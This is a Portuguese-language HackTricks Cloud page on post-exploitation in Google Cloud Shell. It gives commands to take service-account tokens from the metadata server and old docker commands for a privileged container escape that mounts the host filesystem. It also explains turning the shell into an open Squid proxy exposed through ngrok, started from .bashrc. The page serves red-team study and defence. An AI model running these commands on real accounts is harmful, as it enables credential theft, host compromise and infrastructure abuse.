GCP - Cloud Shell Post Exploitation
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Cloud Shell
Para mais informações sobre Cloud Shell, consulte:
Obtém o token do usuário a partir do metadata
Bastando acessar o servidor de metadata você pode obter um token para acessar como o usuário atualmente logado:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
Container Escape / Docker use
Warning
Anteriormente o cloud shell era executado em um container com acesso ao socket do docker do host. Agora o Google mudou a arquitetura e o container do cloud shell executa uma configuração “Docker in a container”. Portanto, mesmo que seja possível usar docker a partir do cloud shell, você não conseguirá escapar para o host usando o socket do docker. Observe que anteriormente o arquivo
docker.sockestava localizado em/google/host/var/run/docker.sockmas agora ele foi movido para/run/docker.sock.
Docker use / Old container escape commands
```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```Além disso, no passado era possível encontrar um token para um service account usado pela cloud shell VM no metadata server:
Service account antigo do metadata
```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` Com os seguintes escopos: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write
</details>
### Usar como Proxy
Se você quiser usar sua instância do google cloud shell como proxy, precisa executar os seguintes comandos (ou inseri-los no arquivo .bashrc):
<details>
<summary>Instalar Squid proxy</summary>
```bash
sudo apt install -y squid
Só para você saber: Squid é um servidor proxy HTTP. Crie um arquivo squid.conf com as seguintes configurações:
Criar o arquivo squid.conf
```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```copie o arquivo squid.conf para /etc/squid
Copiar configuração para /etc/squid
```bash sudo cp squid.conf /etc/squid ```Por fim, execute o serviço squid:
Iniciar o serviço Squid
```bash sudo service squid start ```Use o ngrok para tornar o proxy disponível externamente:
Expor o proxy com ngrok
```bash ./ngrok tcp 3128 ```Após executar, copie a URL tcp://. Se quiser executar o proxy a partir de um navegador, sugere-se remover a parte tcp:// e a porta, e colocar a porta no campo de porta das configurações de proxy do seu navegador (squid é um servidor proxy http).
Para melhor uso na inicialização, o arquivo .bashrc deve conter as seguintes linhas:
Adicionar ao .bashrc para inicialização automática
```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```As instruções foram copiadas de https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Confira essa página para outras ideias malucas para executar qualquer tipo de software (bancos de dados e até Windows) no Cloud Shell.
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud

